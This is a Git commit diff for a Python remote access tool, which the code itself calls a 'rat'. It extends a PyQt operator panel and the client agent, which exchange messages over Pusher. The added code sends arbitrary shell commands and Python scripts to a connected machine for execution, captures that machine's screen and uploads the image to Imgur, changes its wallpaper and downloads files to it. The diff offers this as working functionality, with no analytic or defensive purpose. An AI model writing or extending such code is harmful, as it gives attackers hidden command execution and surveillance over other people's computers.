python and shell commands
This commit is contained in:
@@ -98,13 +98,13 @@ def handle_menu_click(text: str) -> None:
|
|||||||
"""
|
"""
|
||||||
index = {
|
index = {
|
||||||
"Menu": [open_menu, None],
|
"Menu": [open_menu, None],
|
||||||
"Devices": [ui.pagesWidget.setCurrentIndex, 1],
|
"Devices": [ui.pagesWidget.setCurrentIndex, 0],
|
||||||
"Screenshot": [ui.pagesWidget.setCurrentIndex, 2],
|
"Screenshot": [ui.pagesWidget.setCurrentIndex, 1],
|
||||||
"Wallpaper": [ui.pagesWidget.setCurrentIndex, 3],
|
"Wallpaper": [ui.pagesWidget.setCurrentIndex, 2],
|
||||||
"Console": [ui.pagesWidget.setCurrentIndex, 4],
|
"Console": [ui.pagesWidget.setCurrentIndex, 3],
|
||||||
"Python": [ui.pagesWidget.setCurrentIndex, 5],
|
"Python": [ui.pagesWidget.setCurrentIndex, 4],
|
||||||
"Download": [ui.pagesWidget.setCurrentIndex, 6],
|
"Download": [ui.pagesWidget.setCurrentIndex, 5],
|
||||||
"Settings": [ui.pagesWidget.setCurrentIndex, 7]
|
"Settings": [ui.pagesWidget.setCurrentIndex, 6]
|
||||||
}
|
}
|
||||||
index[text][0](index[text][1])
|
index[text][0](index[text][1])
|
||||||
|
|
||||||
@@ -120,6 +120,7 @@ def handle_ping(data) -> None:
|
|||||||
|
|
||||||
|
|
||||||
def on_logs(data):
|
def on_logs(data):
|
||||||
|
print(data)
|
||||||
ui.logsPytoon.append(data)
|
ui.logsPytoon.append(data)
|
||||||
ui.logsConsole.append(data)
|
ui.logsConsole.append(data)
|
||||||
ui.downloadLogs.append(data)
|
ui.downloadLogs.append(data)
|
||||||
@@ -144,17 +145,23 @@ def take_screenshot() -> None:
|
|||||||
client.trigger('admin-' + str(client_id), 'python', f"""
|
client.trigger('admin-' + str(client_id), 'python', f"""
|
||||||
imgur_image = daun.screenshot.upload_to_imgur("{Settings.get_settings().get('client_id')}")
|
imgur_image = daun.screenshot.upload_to_imgur("{Settings.get_settings().get('client_id')}")
|
||||||
client.trigger('client-{client_id}', 'screenshot', imgur_image)
|
client.trigger('client-{client_id}', 'screenshot', imgur_image)
|
||||||
client.trigger('client-{client_id}', 'logs', "Received screenshot: " + imgur_image)
|
log("Received screenshot: " + imgur_image)
|
||||||
""")
|
""")
|
||||||
|
|
||||||
|
|
||||||
def on_screenshot(data):
|
def on_screenshot(data):
|
||||||
print("on screenshot")
|
|
||||||
image = QtGui.QImage()
|
image = QtGui.QImage()
|
||||||
image.loadFromData(requests.get(data).content)
|
image.loadFromData(requests.get(data).content)
|
||||||
ui.screenshotLabel.setPixmap(QtGui.QPixmap(image))
|
ui.screenshotLabel.setPixmap(QtGui.QPixmap(image))
|
||||||
|
|
||||||
|
|
||||||
|
def we_controller(button):
|
||||||
|
client.trigger('admin-' + str(client_id), 'python', f"""
|
||||||
|
daun.wallpaperengine.control_we("{button.text().lower()}")
|
||||||
|
log("Received we command: {button.text().lower()}")
|
||||||
|
""")
|
||||||
|
|
||||||
|
|
||||||
def connect_to_rat() -> None:
|
def connect_to_rat() -> None:
|
||||||
"""
|
"""
|
||||||
Connects to rat based on selected id
|
Connects to rat based on selected id
|
||||||
@@ -211,11 +218,29 @@ ui.leftMenu.itemClicked.connect(lambda: handle_menu_click(ui.leftMenu.currentIte
|
|||||||
ui.saveSettingsButton.clicked.connect(lambda: (globals().update(settings=update_settings(ui))))
|
ui.saveSettingsButton.clicked.connect(lambda: (globals().update(settings=update_settings(ui))))
|
||||||
ui.reconRefreshButton.clicked.connect(lambda: reconnect_to_pusher())
|
ui.reconRefreshButton.clicked.connect(lambda: reconnect_to_pusher())
|
||||||
ui.connectButton.clicked.connect(lambda: connect_to_rat())
|
ui.connectButton.clicked.connect(lambda: connect_to_rat())
|
||||||
|
ui.availableDevices.itemDoubleClicked.connect(lambda: connect_to_rat())
|
||||||
ui.pingButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'ping', 'ping'))
|
ui.pingButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'ping', 'ping'))
|
||||||
ui.clearPythonLogs.clicked.connect(lambda: clear_logs())
|
ui.clearPythonLogs.clicked.connect(lambda: clear_logs())
|
||||||
ui.clearConsoleLogs.clicked.connect(lambda: clear_logs())
|
ui.clearConsoleLogs.clicked.connect(lambda: clear_logs())
|
||||||
ui.clearDlLogsButton.clicked.connect(lambda: clear_logs())
|
ui.clearDlLogsButton.clicked.connect(lambda: clear_logs())
|
||||||
ui.takeScreenshotButton.clicked.connect(lambda: take_screenshot())
|
ui.takeScreenshotButton.clicked.connect(lambda: take_screenshot())
|
||||||
|
ui.setWallpaperButton.clicked.connect(lambda: client.trigger('admin-' + str(client_id), 'python', f"""
|
||||||
|
daun.wallpaper.set_wallpaper("{ui.wallpaperUrlBox.text()}")
|
||||||
|
log("Wallpaper set to: {ui.wallpaperUrlBox.text()}")
|
||||||
|
"""))
|
||||||
|
ui.pauseWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.pauseWallpaperEngineButton))
|
||||||
|
ui.playWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.playWallpaperEngineButton))
|
||||||
|
ui.stopWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.stopWallpaperEngineButton))
|
||||||
|
ui.muteWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.muteWallpaperEngineButton))
|
||||||
|
ui.unmuteWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.unmuteWallpaperEngineButton))
|
||||||
|
ui.wallpaperScreenshotButton.clicked.connect(lambda: client.trigger('admin-' + str(client_id), 'python', f"""
|
||||||
|
daun.wallpaper.set_wallpaper(daun.screenshot.save_screenshot())
|
||||||
|
log("Screenshot set as wallpaper")
|
||||||
|
"""))
|
||||||
|
ui.sendCommandButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'command',
|
||||||
|
ui.commandBox.text()))
|
||||||
|
ui.execPythonButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'python',
|
||||||
|
ui.pythonScriptEditor.toPlainText()))
|
||||||
|
|
||||||
# Handling closing of the window to exit whole program
|
# Handling closing of the window to exit whole program
|
||||||
sys.exit(app.exec_())
|
sys.exit(app.exec_())
|
||||||
|
|||||||
@@ -381,22 +381,6 @@ class Ui_MainWindow(object):
|
|||||||
sizePolicy.setHeightForWidth(self.pagesWidget.sizePolicy().hasHeightForWidth())
|
sizePolicy.setHeightForWidth(self.pagesWidget.sizePolicy().hasHeightForWidth())
|
||||||
self.pagesWidget.setSizePolicy(sizePolicy)
|
self.pagesWidget.setSizePolicy(sizePolicy)
|
||||||
self.pagesWidget.setObjectName("pagesWidget")
|
self.pagesWidget.setObjectName("pagesWidget")
|
||||||
self.startPage = QtWidgets.QWidget()
|
|
||||||
self.startPage.setObjectName("startPage")
|
|
||||||
self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.startPage)
|
|
||||||
self.verticalLayout_6.setContentsMargins(0, 0, 0, 0)
|
|
||||||
self.verticalLayout_6.setSpacing(0)
|
|
||||||
self.verticalLayout_6.setObjectName("verticalLayout_6")
|
|
||||||
self.dLogo = QtWidgets.QLabel(self.startPage)
|
|
||||||
self.dLogo.setStyleSheet("font: 166pt \"Comic Sans MS\";\n"
|
|
||||||
"color: rgb(40, 40, 40);")
|
|
||||||
self.dLogo.setObjectName("dLogo")
|
|
||||||
self.verticalLayout_6.addWidget(self.dLogo, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)
|
|
||||||
self.choosePanelLabel = QtWidgets.QLabel(self.startPage)
|
|
||||||
self.choosePanelLabel.setStyleSheet("color: rgb(70, 70, 70);")
|
|
||||||
self.choosePanelLabel.setObjectName("choosePanelLabel")
|
|
||||||
self.verticalLayout_6.addWidget(self.choosePanelLabel, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter)
|
|
||||||
self.pagesWidget.addWidget(self.startPage)
|
|
||||||
self.devicesPage = QtWidgets.QWidget()
|
self.devicesPage = QtWidgets.QWidget()
|
||||||
self.devicesPage.setObjectName("devicesPage")
|
self.devicesPage.setObjectName("devicesPage")
|
||||||
self.devicesButtonLayout = QtWidgets.QVBoxLayout(self.devicesPage)
|
self.devicesButtonLayout = QtWidgets.QVBoxLayout(self.devicesPage)
|
||||||
@@ -576,6 +560,10 @@ class Ui_MainWindow(object):
|
|||||||
self.downloadUrl.setMinimumSize(QtCore.QSize(0, 30))
|
self.downloadUrl.setMinimumSize(QtCore.QSize(0, 30))
|
||||||
self.downloadUrl.setObjectName("downloadUrl")
|
self.downloadUrl.setObjectName("downloadUrl")
|
||||||
self.verticalLayout_10.addWidget(self.downloadUrl, 0, QtCore.Qt.AlignTop)
|
self.verticalLayout_10.addWidget(self.downloadUrl, 0, QtCore.Qt.AlignTop)
|
||||||
|
self.pathToFileDownload = QtWidgets.QLineEdit(self.downloadFilePage)
|
||||||
|
self.pathToFileDownload.setMinimumSize(QtCore.QSize(0, 30))
|
||||||
|
self.pathToFileDownload.setObjectName("pathToFileDownload")
|
||||||
|
self.verticalLayout_10.addWidget(self.pathToFileDownload)
|
||||||
self.downloadButton = QtWidgets.QPushButton(self.downloadFilePage)
|
self.downloadButton = QtWidgets.QPushButton(self.downloadFilePage)
|
||||||
self.downloadButton.setMinimumSize(QtCore.QSize(0, 30))
|
self.downloadButton.setMinimumSize(QtCore.QSize(0, 30))
|
||||||
self.downloadButton.setObjectName("downloadButton")
|
self.downloadButton.setObjectName("downloadButton")
|
||||||
@@ -660,7 +648,7 @@ class Ui_MainWindow(object):
|
|||||||
self.saveSettingsButton.setObjectName("saveSettingsButton")
|
self.saveSettingsButton.setObjectName("saveSettingsButton")
|
||||||
self.gridLayout.addWidget(self.saveSettingsButton, 1, 0, 1, 1)
|
self.gridLayout.addWidget(self.saveSettingsButton, 1, 0, 1, 1)
|
||||||
self.pagesWidget.addWidget(self.settingsPage)
|
self.pagesWidget.addWidget(self.settingsPage)
|
||||||
self.horizontalLayout.addWidget(self.pagesWidget, 0, QtCore.Qt.AlignTop)
|
self.horizontalLayout.addWidget(self.pagesWidget)
|
||||||
MainWindow.setCentralWidget(self.centralwidget)
|
MainWindow.setCentralWidget(self.centralwidget)
|
||||||
|
|
||||||
self.retranslateUi(MainWindow)
|
self.retranslateUi(MainWindow)
|
||||||
@@ -691,8 +679,6 @@ class Ui_MainWindow(object):
|
|||||||
item = self.leftMenu.item(7)
|
item = self.leftMenu.item(7)
|
||||||
item.setText(_translate("MainWindow", "Settings"))
|
item.setText(_translate("MainWindow", "Settings"))
|
||||||
self.leftMenu.setSortingEnabled(__sortingEnabled)
|
self.leftMenu.setSortingEnabled(__sortingEnabled)
|
||||||
self.dLogo.setText(_translate("MainWindow", "D"))
|
|
||||||
self.choosePanelLabel.setText(_translate("MainWindow", "Choose panel in left side, scroll menu to see more"))
|
|
||||||
self.connectButton.setText(_translate("MainWindow", "Connect"))
|
self.connectButton.setText(_translate("MainWindow", "Connect"))
|
||||||
self.pingButton.setText(_translate("MainWindow", "Ping"))
|
self.pingButton.setText(_translate("MainWindow", "Ping"))
|
||||||
self.reconRefreshButton.setText(_translate("MainWindow", "Reconnect and refresh"))
|
self.reconRefreshButton.setText(_translate("MainWindow", "Reconnect and refresh"))
|
||||||
@@ -714,6 +700,7 @@ class Ui_MainWindow(object):
|
|||||||
self.execPythonButton.setText(_translate("MainWindow", "Execute"))
|
self.execPythonButton.setText(_translate("MainWindow", "Execute"))
|
||||||
self.clearPythonLogs.setText(_translate("MainWindow", "Clear logs"))
|
self.clearPythonLogs.setText(_translate("MainWindow", "Clear logs"))
|
||||||
self.downloadUrl.setPlaceholderText(_translate("MainWindow", "File url"))
|
self.downloadUrl.setPlaceholderText(_translate("MainWindow", "File url"))
|
||||||
|
self.pathToFileDownload.setPlaceholderText(_translate("MainWindow", "Output file path"))
|
||||||
self.downloadButton.setText(_translate("MainWindow", "Download"))
|
self.downloadButton.setText(_translate("MainWindow", "Download"))
|
||||||
self.downloadLogs.setHtml(_translate("MainWindow", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
|
self.downloadLogs.setHtml(_translate("MainWindow", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
|
||||||
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
|
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
|
||||||
|
|||||||
@@ -474,7 +474,7 @@ QListWidget:item:selected {
|
|||||||
</item>
|
</item>
|
||||||
</widget>
|
</widget>
|
||||||
</item>
|
</item>
|
||||||
<item alignment="Qt::AlignTop">
|
<item>
|
||||||
<widget class="QStackedWidget" name="pagesWidget">
|
<widget class="QStackedWidget" name="pagesWidget">
|
||||||
<property name="sizePolicy">
|
<property name="sizePolicy">
|
||||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
||||||
@@ -485,46 +485,6 @@ QListWidget:item:selected {
|
|||||||
<property name="currentIndex">
|
<property name="currentIndex">
|
||||||
<number>0</number>
|
<number>0</number>
|
||||||
</property>
|
</property>
|
||||||
<widget class="QWidget" name="startPage">
|
|
||||||
<layout class="QVBoxLayout" name="verticalLayout_6">
|
|
||||||
<property name="spacing">
|
|
||||||
<number>0</number>
|
|
||||||
</property>
|
|
||||||
<property name="leftMargin">
|
|
||||||
<number>0</number>
|
|
||||||
</property>
|
|
||||||
<property name="topMargin">
|
|
||||||
<number>0</number>
|
|
||||||
</property>
|
|
||||||
<property name="rightMargin">
|
|
||||||
<number>0</number>
|
|
||||||
</property>
|
|
||||||
<property name="bottomMargin">
|
|
||||||
<number>0</number>
|
|
||||||
</property>
|
|
||||||
<item alignment="Qt::AlignHCenter|Qt::AlignVCenter">
|
|
||||||
<widget class="QLabel" name="dLogo">
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">font: 166pt "Comic Sans MS";
|
|
||||||
color: rgb(40, 40, 40);</string>
|
|
||||||
</property>
|
|
||||||
<property name="text">
|
|
||||||
<string>D</string>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
</item>
|
|
||||||
<item alignment="Qt::AlignHCenter|Qt::AlignVCenter">
|
|
||||||
<widget class="QLabel" name="choosePanelLabel">
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">color: rgb(70, 70, 70);</string>
|
|
||||||
</property>
|
|
||||||
<property name="text">
|
|
||||||
<string>Choose panel in left side, scroll menu to see more</string>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
</item>
|
|
||||||
</layout>
|
|
||||||
</widget>
|
|
||||||
<widget class="QWidget" name="devicesPage">
|
<widget class="QWidget" name="devicesPage">
|
||||||
<layout class="QVBoxLayout" name="devicesButtonLayout">
|
<layout class="QVBoxLayout" name="devicesButtonLayout">
|
||||||
<item>
|
<item>
|
||||||
@@ -951,6 +911,19 @@ color: rgb(40, 40, 40);</string>
|
|||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
</item>
|
</item>
|
||||||
|
<item>
|
||||||
|
<widget class="QLineEdit" name="pathToFileDownload">
|
||||||
|
<property name="minimumSize">
|
||||||
|
<size>
|
||||||
|
<width>0</width>
|
||||||
|
<height>30</height>
|
||||||
|
</size>
|
||||||
|
</property>
|
||||||
|
<property name="placeholderText">
|
||||||
|
<string>Output file path</string>
|
||||||
|
</property>
|
||||||
|
</widget>
|
||||||
|
</item>
|
||||||
<item alignment="Qt::AlignTop">
|
<item alignment="Qt::AlignTop">
|
||||||
<widget class="QPushButton" name="downloadButton">
|
<widget class="QPushButton" name="downloadButton">
|
||||||
<property name="minimumSize">
|
<property name="minimumSize">
|
||||||
|
|||||||
@@ -26,6 +26,10 @@ client = pusher.Pusher(
|
|||||||
receiver = pysher.Pusher(key=key, cluster=cluster)
|
receiver = pysher.Pusher(key=key, cluster=cluster)
|
||||||
|
|
||||||
|
|
||||||
|
def log(message):
|
||||||
|
client.trigger(f'client-{client_id}', 'logs', message)
|
||||||
|
|
||||||
|
|
||||||
def on_command(data):
|
def on_command(data):
|
||||||
global client_id
|
global client_id
|
||||||
print("Shell command received")
|
print("Shell command received")
|
||||||
|
|||||||
Reference in New Issue
Block a user